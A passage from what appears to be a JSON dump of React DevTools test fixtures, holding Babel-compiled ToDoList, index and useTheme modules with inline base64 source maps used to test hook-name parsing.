fileName: _jsxFileName,\n      lineNumber: 102,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"h1\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 103,\n      columnNumber: 7\n    }\n  }, \"List\"), /*#__PURE__*/React.createElement(\"input\", {\n    type: \"text\",\n    placeholder: \"New list item...\",\n    value: newItemText,\n    onChange: handleChange,\n    onKeyPress: handleKeyPress,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 104,\n      columnNumber: 7\n    }\n  }), /*#__PURE__*/React.createElement(\"button\", {\n    disabled: newItemText === '',\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 111,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"span\", {\n    role: \"img\",\n    \"aria-label\": \"Add item\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 112,\n      columnNumber: 9\n    }\n  }, \"Add\")), /*#__PURE__*/React.createElement(\"ul\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 116,\n      columnNumber: 7\n    }\n  }, items.map(item => /*#__PURE__*/React.createElement(ListItem, {\n    key: item.id,\n    item: item,\n    removeItem: removeItem,\n    toggleItem: toggleItem,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 118,\n      columnNumber: 11\n    }\n  }))));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIlRvRG9MaXN0LmpzIl0sIm5hbWVzIjpbIkxpc3RJdGVtIiwiaXRlbSIsInJlbW92ZUl0ZW0iLCJ0b2dnbGVJdGVtIiwiaGFuZGxlRGVsZXRlIiwiaGFuZGxlVG9nZ2xlIiwiaXNDb21wbGV0ZSIsInRleHQiLCJMaXN0IiwicHJvcHMiLCJuZXdJdGVtVGV4dCIsInNldE5ld0l0ZW1UZXh0IiwiaXRlbXMiLCJzZXRJdGVtcyIsImlkIiwidWlkIiwic2V0VUlEIiwiaGFuZGxlQ2xpY2siLCJoYW5kbGVLZXlQcmVzcyIsImV2ZW50Iiwia2V5IiwiaGFuZGxlQ2hhbmdlIiwiY3VycmVudFRhcmdldCIsInZhbHVlIiwiaXRlbVRvUmVtb3ZlIiwiZmlsdGVyIiwiaXRlbVRvVG9nZ2xlIiwiaW5kZXgiLCJmaW5kSW5kZXgiLCJzbGljZSIsImNvbmNhdCIsIm1hcCJdLCJtYXBwaW5ncyI6Ijs7Ozs7Ozs7QUFTQTs7Ozs7Ozs7QUFHTyxTQUFTQSxRQUFULENBQWtCO0FBQUNDLEVBQUFBLElBQUQ7QUFBT0MsRUFBQUEsVUFBUDtBQUFtQkMsRUFBQUE7QUFBbkIsQ0FBbEIsRUFBa0Q7QUFDdkQsUUFBTUMsWUFBWSxHQUFHLHVCQUFZLE1BQU07QUFDckNGLElBQUFBLFVBQVUsQ0FBQ0QsSUFBRCxDQUFWO0FBQ0QsR0FGb0IsRUFFbEIsQ0FBQ0EsSUFBRCxFQUFPQyxVQUFQLENBRmtCLENBQXJCO0FBSUEsUUFBTUcsWUFBWSxHQUFHLHVCQUFZLE1BQU07QUFDckNGLElBQUFBLFVBQVUsQ0FBQ0YsSUFBRCxDQUFWO0FBQ0QsR0FGb0IsRUFFbEIsQ0FBQ0EsSUFBRCxFQUFPRSxVQUFQLENBRmtCLENBQXJCO0FBSUEsc0JBQ0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsa0JBQ0U7QUFBUSxJQUFBLE9BQU8sRUFBRUMsWUFBakI7QUFBQTtBQUFBO0FBQUE7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QixNQU5ILENBTVVsQixLQUFLLENBQUNpQixLQUFOLENBQVlGLEtBQUssR0FBRyxDQUFwQixDQU5WLENBRE0sQ0FBUjtBQVNELEdBZmdCLEVBZ0JqQixDQUFDZixLQUFELENBaEJpQixDQUFuQjtBQW1CQSxzQkFDRSxvQkFBQyxjQUFEO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLFlBREYsZUFFRTtBQUNFLElBQUEsSUFBSSxFQUFDLE1BRFA7QUFFRSxJQUFBLFdBQVcsRUFBQyxrQkFGZDtBQUdFLElBQUEsS0FBSyxFQUFFRixXQUhUO0FBSUUsSUFBQSxRQUFRLEVBQUVXLFlBSlo7QUFLRSxJQUFBLFVBQVUsRUFBRUgsY0FMZDtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxJQUZGLGVBU0U7QUFBUSxJQUFBLFFBQVEsRUFBRVIsV0FBVyxLQUFLLEVBQWxDO0FBQXNDLElBQUEsT0FBTyxFQUFFTyxXQUEvQztBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxrQkFDRTtBQUFNLElBQUEsSUFBSSxFQUFDLEtBQVg7QUFBaUIsa0JBQVcsVUFBNUI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsV0FERixDQVRGLGVBY0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsS0FDR0wsS0FBSyxDQUFDbUIsR0FBTixDQUFVOUIsSUFBSSxpQkFDYixvQkFBQyxRQUFEO0FBQ0UsSUFBQSxHQUFHLEVBQUVBLElBQUksQ0FBQ2EsRUFEWjtBQUVFLElBQUEsSUFBSSxFQUFFYixJQUZSO0FBR0UsSUFBQSxVQUFVLEVBQUVDLFVBSGQ7QUFJRSxJQUFBLFVBQVUsRUFBRUMsVUFKZDtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxJQURELENBREgsQ0FkRixDQURGO0FBMkJEIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmltcG9ydCAqIGFzIFJlYWN0IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7RnJhZ21lbnQsIHVzZUNhbGxiYWNrLCB1c2VTdGF0ZX0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZnVuY3Rpb24gTGlzdEl0ZW0oe2l0ZW0sIHJlbW92ZUl0ZW0sIHRvZ2dsZUl0ZW19KSB7XG4gIGNvbnN0IGhhbmRsZURlbGV0ZSA9IHVzZUNhbGxiYWNrKCgpID0+IHtcbiAgICByZW1vdmVJdGVtKGl0ZW0pO1xuICB9LCBbaXRlbSwgcmVtb3ZlSXRlbV0pO1xuXG4gIGNvbnN0IGhhbmRsZVRvZ2dsZSA9IHVzZUNhbGxiYWNrKCgpID0+IHtcbiAgICB0b2dnbGVJdGVtKGl0ZW0pO1xuICB9LCBbaXRlbSwgdG9nZ2xlSXRlbV0pO1xuXG4gIHJldHVybiAoXG4gICAgPGxpPlxuICAgICAgPGJ1dHRvbiBvbkNsaWNrPXtoYW5kbGVEZWxldGV9PkRlbGV0ZTwvYnV0dG9uPlxuICAgICAgPGxhYmVsPlxuICAgICAgICA8aW5wdXRcbiAgICAgICAgICBjaGVja2VkPXtpdGVtLmlzQ29tcGxldGV9XG4gICAgICAgICAgb25DaGFuZ2U9e2hhbmRsZVRvZ2dsZX1cbiAgICAgICAgICB0eXBlPVwiY2hlY2tib3hcIlxuICAgICAgICAvPnsnICd9XG4gICAgICAgIHtpdGVtLnRleHR9XG4gICAgICA8L2xhYmVsPlxuICAgIDwvbGk+XG4gICk7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiBMaXN0KHByb3BzKSB7XG4gIGNvbnN0IFtuZXdJdGVtVGV4dCwgc2V0TmV3SXRlbVRleHRdID0gdXNlU3RhdGUoJycpO1xuICBjb25zdCBbaXRlbXMsIHNldEl0ZW1zXSA9IHVzZVN0YXRlKFtcbiAgICB7aWQ6IDEsIGlzQ29tcGxldGU6IHRydWUsIHRleHQ6ICdGaXJzdCd9LFxuICAgIHtpZDogMiwgaXNDb21wbGV0ZTogdHJ1ZSwgdGV4dDogJ1NlY29uZCd9LFxuICAgIHtpZDogMywgaXNDb21wbGV0ZTogZmFsc2UsIHRleHQ6ICdUaGlyZCd9LFxuICBdKTtcbiAgY29uc3QgW3VpZCwgc2V0VUlEXSA9IHVzZVN0YXRlKDQpO1xuXG4gIGNvbnN0IGhhbmRsZUNsaWNrID0gdXNlQ2FsbGJhY2soKCkgPT4ge1xuICAgIGlmIChuZXdJdGVtVGV4dCAhPT0gJycpIHtcbiAgICAgIHNldEl0ZW1zKFtcbiAgICAgICAgLi4uaXRlbXMsXG4gICAgICAgIHtcbiAgICAgICAgICBpZDogdWlkLFxuICAgICAgICAgIGlzQ29tcGxldGU6IGZhbHNlLFxuICAgICAgICAgIHRleHQ6IG5ld0l0ZW1UZXh0LFxuICAgICAgICB9LFxuICAgICAgXSk7XG4gICAgICBzZXRVSUQodWlkICsgMSk7XG4gICAgICBzZXROZXdJdGVtVGV4dCgnJyk7XG4gICAgfVxuICB9LCBbbmV3SXRlbVRleHQsIGl0ZW1zLCB1aWRdKTtcblxuICBjb25zdCBoYW5kbGVLZXlQcmVzcyA9IHVzZUNhbGxiYWNrKFxuICAgIGV2ZW50ID0+IHtcbiAgICAgIGlmIChldmVudC5rZXkgPT09ICdFbnRlcicpIHtcbiAgICAgICAgaGFuZGxlQ2xpY2soKTtcbiAgICAgIH1cbiAgICB9LFxuICAgIFtoYW5kbGVDbGlja10sXG4gICk7XG5cbiAgY29uc3QgaGFuZGxlQ2hhbmdlID0gdXNlQ2FsbGJhY2soXG4gICAgZXZlbnQgPT4ge1xuICAgICAgc2V0TmV3SXRlbVRleHQoZXZlbnQuY3VycmVudFRhcmdldC52YWx1ZSk7XG4gICAgfSxcbiAgICBbc2V0TmV3SXRlbVRleHRdLFxuICApO1xuXG4gIGNvbnN0IHJlbW92ZUl0ZW0gPSB1c2VDYWxsYmFjayhcbiAgICBpdGVtVG9SZW1vdmUgPT4gc2V0SXRlbXMoaXRlbXMuZmlsdGVyKGl0ZW0gPT4gaXRlbSAhPT0gaXRlbVRvUmVtb3ZlKSksXG4gICAgW2l0ZW1zXSxcbiAgKTtcblxuICBjb25zdCB0b2dnbGVJdGVtID0gdXNlQ2FsbGJhY2soXG4gICAgaXRlbVRvVG9nZ2xlID0+IHtcbiAgICAgIC8vIERvbnQgdXNlIGluZGV4T2YoKVxuICAgICAgLy8gYmVjYXVzZSBlZGl0aW5nIHByb3BzIGluIERldlRvb2xzIGNyZWF0ZXMgYSBuZXcgT2JqZWN0LlxuICAgICAgY29uc3QgaW5kZXggPSBpdGVtcy5maW5kSW5kZXgoaXRlbSA9PiBpdGVtLmlkID09PSBpdGVtVG9Ub2dnbGUuaWQpO1xuXG4gICAgICBzZXRJdGVtcyhcbiAgICAgICAgaXRlbXNcbiAgICAgICAgICAuc2xpY2UoMCwgaW5kZXgpXG4gICAgICAgICAgLmNvbmNhdCh7XG4gICAgICAgICAgICAuLi5pdGVtVG9Ub2dnbGUsXG4gICAgICAgICAgICBpc0NvbXBsZXRlOiAhaXRlbVRvVG9nZ2xlLmlzQ29tcGxldGUsXG4gICAgICAgICAgfSlcbiAgICAgICAgICAuY29uY2F0KGl0ZW1zLnNsaWNlKGluZGV4ICsgMSkpLFxuICAgICAgKTtcbiAgICB9LFxuICAgIFtpdGVtc10sXG4gICk7XG5cbiAgcmV0dXJuIChcbiAgICA8RnJhZ21lbnQ+XG4gICAgICA8aDE+TGlzdDwvaDE+XG4gICAgICA8aW5wdXRcbiAgICAgICAgdHlwZT1cInRleHRcIlxuICAgICAgICBwbGFjZWhvbGRlcj1cIk5ldyBsaXN0IGl0ZW0uLi5cIlxuICAgICAgICB2YWx1ZT17bmV3SXRlbVRleHR9XG4gICAgICAgIG9uQ2hhbmdlPXtoYW5kbGVDaGFuZ2V9XG4gICAgICAgIG9uS2V5UHJlc3M9e2hhbmRsZUtleVByZXNzfVxuICAgICAgLz5cbiAgICAgIDxidXR0b24gZGlzYWJsZWQ9e25ld0l0ZW1UZXh0ID09PSAnJ30gb25DbGljaz17aGFuZGxlQ2xpY2t9PlxuICAgICAgICA8c3BhbiByb2xlPVwiaW1nXCIgYXJpYS1sYWJlbD1cIkFkZCBpdGVtXCI+XG4gICAgICAgICAgQWRkXG4gICAgICAgIDwvc3Bhbj5cbiAgICAgIDwvYnV0dG9uPlxuICAgICAgPHVsPlxuICAgICAgICB7aXRlbXMubWFwKGl0ZW0gPT4gKFxuICAgICAgICAgIDxMaXN0SXRlbVxuICAgICAgICAgICAga2V5PXtpdGVtLmlkfVxuICAgICAgICAgICAgaXRlbT17aXRlbX1cbiAgICAgICAgICAgIHJlbW92ZUl0ZW09e3JlbW92ZUl0ZW19XG4gICAgICAgICAgICB0b2dnbGVJdGVtPXt0b2dnbGVJdGVtfVxuICAgICAgICAgIC8+XG4gICAgICAgICkpfVxuICAgICAgPC91bD5cbiAgICA8L0ZyYWdtZW50PlxuICApO1xufVxuIl19fV19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/index-map/index.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nObject.defineProperty(exports, \"ComponentUsingHooksIndirectly\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentUsingHooksIndirectly.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithCustomHook\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithCustomHook.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithExternalCustomHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithExternalCustomHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithMultipleHooksPerLine\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithMultipleHooksPerLine.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithNestedHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithNestedHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ContainingStringSourceMappingURL\", {\n  enumerable: true,\n  get: function () {\n    return _ContainingStringSourceMappingURL.Component;\n  }\n});\nObject.defineProperty(exports, \"Example\", {\n  enumerable: true,\n  get: function () {\n    return _Example.Component;\n  }\n});\nObject.defineProperty(exports, \"InlineRequire\", {\n  enumerable: true,\n  get: function () {\n    return _InlineRequire.Component;\n  }\n});\nObject.defineProperty(exports, \"useTheme\", {\n  enumerable: true,\n  get: function () {\n    return _useTheme.default;\n  }\n});\nexports.ToDoList = void 0;\n\nvar _ComponentUsingHooksIndirectly = require(\"./ComponentUsingHooksIndirectly\");\n\nvar _ComponentWithCustomHook = require(\"./ComponentWithCustomHook\");\n\nvar _ComponentWithExternalCustomHooks = require(\"./ComponentWithExternalCustomHooks\");\n\nvar _ComponentWithMultipleHooksPerLine = require(\"./ComponentWithMultipleHooksPerLine\");\n\nvar _ComponentWithNestedHooks = require(\"./ComponentWithNestedHooks\");\n\nvar _ContainingStringSourceMappingURL = require(\"./ContainingStringSourceMappingURL\");\n\nvar _Example = require(\"./Example\");\n\nvar _InlineRequire = require(\"./InlineRequire\");\n\nvar ToDoList = _interopRequireWildcard(require(\"./ToDoList\"));\n\nexports.ToDoList = ToDoList;\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImluZGV4LmpzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7QUFTQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7OztBQUVBIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5fSBmcm9tICcuL0NvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5JztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhDdXN0b21Ib29rfSBmcm9tICcuL0NvbXBvbmVudFdpdGhDdXN0b21Ib29rJztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzfSBmcm9tICcuL0NvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzJztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhNdWx0aXBsZUhvb2tzUGVyTGluZX0gZnJvbSAnLi9Db21wb25lbnRXaXRoTXVsdGlwbGVIb29rc1BlckxpbmUnO1xuZXhwb3J0IHtDb21wb25lbnQgYXMgQ29tcG9uZW50V2l0aE5lc3RlZEhvb2tzfSBmcm9tICcuL0NvbXBvbmVudFdpdGhOZXN0ZWRIb29rcyc7XG5leHBvcnQge0NvbXBvbmVudCBhcyBDb250YWluaW5nU3RyaW5nU291cmNlTWFwcGluZ1VSTH0gZnJvbSAnLi9Db250YWluaW5nU3RyaW5nU291cmNlTWFwcGluZ1VSTCc7XG5leHBvcnQge0NvbXBvbmVudCBhcyBFeGFtcGxlfSBmcm9tICcuL0V4YW1wbGUnO1xuZXhwb3J0IHtDb21wb25lbnQgYXMgSW5saW5lUmVxdWlyZX0gZnJvbSAnLi9JbmxpbmVSZXF1aXJlJztcbmltcG9ydCAqIGFzIFRvRG9MaXN0IGZyb20gJy4vVG9Eb0xpc3QnO1xuZXhwb3J0IHtUb0RvTGlzdH07XG5leHBvcnQge2RlZmF1bHQgYXMgdXNlVGhlbWV9IGZyb20gJy4vdXNlVGhlbWUnO1xuIl19fV19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/index-map/useTheme.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = useTheme;\nexports.ThemeContext = void 0;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst ThemeContext = /*#__PURE__*/(0, _react.createContext)('bright');\nexports.ThemeContext = ThemeContext;\n\nfunction useTheme() {\n  const theme = (0, _react.useContext)(ThemeContext);\n  (0, _react.useDebugValue)(theme);\n  return theme;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInVzZVRoZW1lLmpzIl0sIm5hbWVzIjpbIlRoZW1lQ29udGV4dCIsInVzZVRoZW1lIiwidGhlbWUiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7O0FBU0E7O0FBVEE7Ozs7Ozs7O0FBV08sTUFBTUEsWUFBWSxnQkFBRywwQkFBYyxRQUFkLENBQXJCOzs7QUFFUSxTQUFTQyxRQUFULEdBQW9CO0FBQ2pDLFFBQU1DLEtBQUssR0FBRyx1QkFBV0YsWUFBWCxDQUFkO0FBQ0EsNEJBQWNFLEtBQWQ7QUFDQSxTQUFPQSxLQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IHtjcmVhdGVDb250ZXh0LCB1c2VDb250ZXh0LCB1c2VEZWJ1Z1ZhbHVlfSBmcm9tICdyZWFjdCc7XG5cbmV4cG9ydCBjb25zdCBUaGVtZUNvbnRleHQgPSBjcmVhdGVDb250ZXh0KCdicmlnaHQnKTtcblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gdXNlVGhlbWUoKSB7XG4gIGNvbnN0IHRoZW1lID0gdXNlQ29udGV4dChUaGVtZUNvbnRleHQpO1xuICB1c2VEZWJ1Z1ZhbHVlKHRoZW1lKTtcbiAgcmV0dXJuIHRoZW1lO1xufVxuIl19fV19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/index.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nObject.defineProperty(exports, \"ComponentUsingHooksIndirectly\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentUsingHooksIndirectly.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithCustomHook\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithCustomHook.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithExternalCustomHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithExternalCustomHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithMultipleHooksPerLine\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithMultipleHooksPerLine.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithNestedHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithNestedHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ContainingStringSourceMappingURL\", {\n  enumerable: true,\n  get: function () {\n    return _ContainingStringSourceMappingURL.Component;\n  }\n});\nObject.defineProperty(exports, \"Example\", {\n  enumerable: true,\n  get: function () {\n    return _Example.Component;\n  }\n});\nObject.defineProperty(exports, \"InlineRequire\", {\n  enumerable: true,\n  get: function () {\n    return _InlineRequire.Component;\n  }\n});\nObject.defineProperty(exports, \"useTheme\", {\n  enumerable: true,\n  get: function () {\n    return _useTheme.default;\n  }\n});\nexports.ToDoList = void 0;\n\nvar _ComponentUsingHooksIndirectly = require(\"./ComponentUsingHooksIndirectly\");\n\nvar _ComponentWithCustomHook = require(\"./ComponentWithCustomHook\");\n\nvar _ComponentWithExternalCustomHooks = require(\"./ComponentWithExternalCustomHooks\");\n\nvar _ComponentWithMultipleHooksPerLine = require(\"./ComponentWithMultipleHooksPerLine\");\n\nvar _ComponentWithNestedHooks = require(\"./ComponentWithNestedHooks\");\n\nvar _ContainingStringSourceMappingURL = require(\"./ContainingStringSourceMappingURL\");\n\nvar _Example = 